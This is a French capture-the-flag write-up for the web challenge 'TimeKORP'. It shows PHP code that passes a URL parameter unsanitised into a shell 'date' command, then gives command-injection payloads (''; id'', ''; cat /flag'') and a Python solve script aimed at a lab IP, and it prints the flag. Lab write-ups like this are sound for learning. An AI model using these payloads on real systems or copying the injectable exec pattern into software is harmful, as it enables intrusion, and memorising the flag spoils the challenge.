TimeKORP
Catégorie: Web Difficulté: very-easy Flag: HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}
Challenge
Description
Are you ready to unravel the mysteries and expose the truth hidden within Korp's digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.
Ce challenge tourne sur un docker, disponible sur Github
Analyse
Site web
En cliquant sur What’s the date on voit que l’on passe dans l’URL la variable format
avec ce qui ressemble beaucoup à un format de date.

Code source
Dans les fichiers fournis, on trouve TimeController.php
dans lequel on voit que l’on récupère notre variable format
passée dans l’URL. Celle-ci est ensuite utilisée pour instancier la classe TimeModel
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
}
Et dans le fichier TimeMode.php
on découvre que notre format est passé directement dans une commande sans être assainie
<?php
class TimeModel
{
public function __construct($format)
{
$this->command = "date '+" . $format . "' 2>&1";
}
public function getTime()
{
$time = exec($this->command);
$res = isset($time) ? $time : '?';
return $res;
}
}
Il faut donc simplement injecter la commande. Pour cela, on va fermer la quote '
puis chaîner une commande arbitraire. Il ne faut pas oublier de rouvrir une quote à la fin pour que le tout soit valide
Ce qui fait que la commande qui normalement ressemble à ça : date '*notre_input*' 2>&1
Donc avec le payload '; id'
la commande exécutée sera : date ''; id'' 2>&1

Toujours dans les fichiers source, grâce au Dockerfile
on sait que le flag se trouve ici : /flag

Donc on a notre payload à mettre dans la variable format
: '; cat /flag'

Script de résolution
import requests
from bs4 import BeautifulSoup
from urllib.parse import quote
def solve(url):
payload = "'; cat /flag'"
response = requests.get(f'{url}?format={quote(payload)}')
soup = BeautifulSoup(response.content, 'html.parser')
flag = soup.find('h1', {'class': 'jumbotron-heading'}).text[6:-1]
print(f'Flag: {flag}')
if __name__ == '__main__':
solve('http://83.136.249.253:53224')
Dernière mise à jour
Cet article vous a-t-il été utile ?